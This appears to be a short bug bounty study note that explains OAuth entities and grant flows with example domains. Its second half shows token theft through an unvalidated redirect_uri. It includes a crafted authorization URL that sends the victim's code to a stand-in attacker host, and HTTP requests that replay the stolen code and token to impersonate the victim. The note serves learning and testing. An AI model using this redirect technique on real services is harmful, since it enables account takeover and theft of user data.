Search ...
What is OAuth
OAuth - Authentication - Authorization - Bug Bounty - Credentials
Giving a user a resource key from an application which enables the user to get acces to another applications specific data like user or work info. This all happens without using a password.
OAuth entities
| Entity | Description |
|---|---|
| Resource Owner | Owns the resource like a photo (resource) |
| Client | Service requesting access to photo (resource) |
| Authorization Server | Server authenticates resource owner and gives access tokens to client |
| Resource Server | Server hosting the photo (resource) |
Example:
-
Login
Joe uses login with zenlogin.com on zenprint.io, redirected to zenlogin.com -
Login zenlogin.com
Joe logs in and gives acces to his photos on zenprint.io. It receives a authorization grant to zenprint.io -
Authorization grant
zenprint.io presents authorization grant to zenlogin.com -
Authorization grant validation
zenlogin.com validates the authorization grant and issues an access token with acces to photos on zenprint.io -
Access token
zenprint.io presents access token to zenlogin.com API endpoint to access the photos. -
Validation token
zenlogin.com validates the token and provides the photo.
Authorization Code Grant vs Implicit grantMost common and secure is the authorization code grant which follows the flow shown above. The implicit code grant is shorter because the authorization code exchange is skipped. This results in exposing acces tokens in the browser. Client-side Javascript application might use this.
Stealing OAuth Access Token
If an attacker is in able to impersonate the victin by stealing their access token by manipulating the
redirect_uri to the attackers system. This can happen if the redirect_uri is not properly verified. 1. Create manipulated
redirect_urihttp://zenlogin.com/authorization/auth?response_type=code&client_id=0e8f12335b0bf225&redirect_uri=http://attacker.zen:57669//callback&state=something2. Obtain cliend_id by using own credentials.
3. Deliver ilnk to victim
4. Receive authorization code and force an acces token
3. Deliver ilnk to victim
4. Receive authorization code and force an acces token
GET /client/callback?code=A0FCQUFBQm1BeHdCNEZEQVdxMFR0Tl9aSEg0SThQME9SU2s2V3Y3VE9teTM2V0JLcDRTM0Jwc0NBMG9Oc09vNGlqWjNZMDFVcGlsR3ZnWmdmRzJ3Q0wtdGtSbWNqXzBHY0o4RzBtMzlKN2h3WFlNcjltc2drNkNFUlAzcnJzUTd6SnVFbTJCWmZ6WDYtVm13V1pSRW5kMlBqcWRnQkVReUZRPT0&state=something HTTP/1.1
Host: zenlogin.com
Cookie: state=somevalue5. Impersonate using token
GET /client/ HTTP/1.1
Host: zenprint.io
Cookie: access_token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imh0Yi1zdGRudCIsImlzcyI6Imh1YmdpdC5odGIiLCJleHAiOjE3MTE0ODQwMjAuODQ2M <snip>Usually the
redirect_uri is validated using a whitelist. Depening on the validation there might be potential bypasses. If a state parameter is not present a CSRF might be possible. 